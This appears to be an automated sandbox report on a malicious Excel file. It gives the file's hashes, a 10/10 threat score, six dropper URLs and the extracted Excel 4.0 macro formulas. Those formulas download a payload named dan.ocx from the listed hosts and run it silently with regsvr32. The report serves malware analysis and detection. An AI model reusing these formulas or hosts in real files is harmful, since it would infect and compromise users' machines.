General

  • Target

    93227a9e2dfbdb5bd6991f946ad4aa257c0501850e03302852fcf24cf4d1338a

  • Size

    40KB

  • Sample

    241111-w6bc4ssmhx

  • MD5

    43f10254175dba57adfa898e197e50a8

  • SHA1

    c49a9a53e5bce751f18e93b8a86dd5efb7463670

  • SHA256

    93227a9e2dfbdb5bd6991f946ad4aa257c0501850e03302852fcf24cf4d1338a

  • SHA512

    0cdbe385d7952533c6d72520d89cff6b58443039bdcc5bd30ec2f7529159a82abb2d33a5f72d63d6ea4e39191d2f7df1b8bc3bb04d1363f855572afdea57bd29

  • SSDEEP

    768:zomihd8DOevZCwt79yKfcrND59V+L9Rw4eWrXcTqZ0VfEw/5:zom8eDNylND59V4jwmXc2CVfEA

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://updatesgarmin.com/c/X5oK7bz/

https://drsniffles.com/OldBackup/2gc7uoHraTd/

https://leblogducbd.com/wp-includes/h5WdaXow/

https://ipekozmel.net/wp-content/hiwPw9KvUFV2jKZc/

https://yassinezeroual.com/imsi-hilo/DufS8rvZ/

https://anjumaneshiateali.org/e5qty/Cngg0NcOM/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://updatesgarmin.com/c/X5oK7bz/","..\dan.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://drsniffles.com/OldBackup/2gc7uoHraTd/","..\dan.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://leblogducbd.com/wp-includes/h5WdaXow/","..\dan.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ipekozmel.net/wp-content/hiwPw9KvUFV2jKZc/","..\dan.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://yassinezeroual.com/imsi-hilo/DufS8rvZ/","..\dan.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://anjumaneshiateali.org/e5qty/Cngg0NcOM/","..\dan.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dan.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://updatesgarmin.com/c/X5oK7bz/

xlm40.dropper

https://drsniffles.com/OldBackup/2gc7uoHraTd/

xlm40.dropper

https://leblogducbd.com/wp-includes/h5WdaXow/

xlm40.dropper

https://ipekozmel.net/wp-content/hiwPw9KvUFV2jKZc/

xlm40.dropper

https://yassinezeroual.com/imsi-hilo/DufS8rvZ/

xlm40.dropper

https://anjumaneshiateali.org/e5qty/Cngg0NcOM/

Targets

    • Target

      93227a9e2dfbdb5bd6991f946ad4aa257c0501850e03302852fcf24cf4d1338a

    • Size

      40KB

    • MD5

      43f10254175dba57adfa898e197e50a8

    • SHA1

      c49a9a53e5bce751f18e93b8a86dd5efb7463670

    • SHA256

      93227a9e2dfbdb5bd6991f946ad4aa257c0501850e03302852fcf24cf4d1338a

    • SHA512

      0cdbe385d7952533c6d72520d89cff6b58443039bdcc5bd30ec2f7529159a82abb2d33a5f72d63d6ea4e39191d2f7df1b8bc3bb04d1363f855572afdea57bd29

    • SSDEEP

      768:zomihd8DOevZCwt79yKfcrND59V+L9Rw4eWrXcTqZ0VfEw/5:zom8eDNylND59V4jwmXc2CVfEA

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks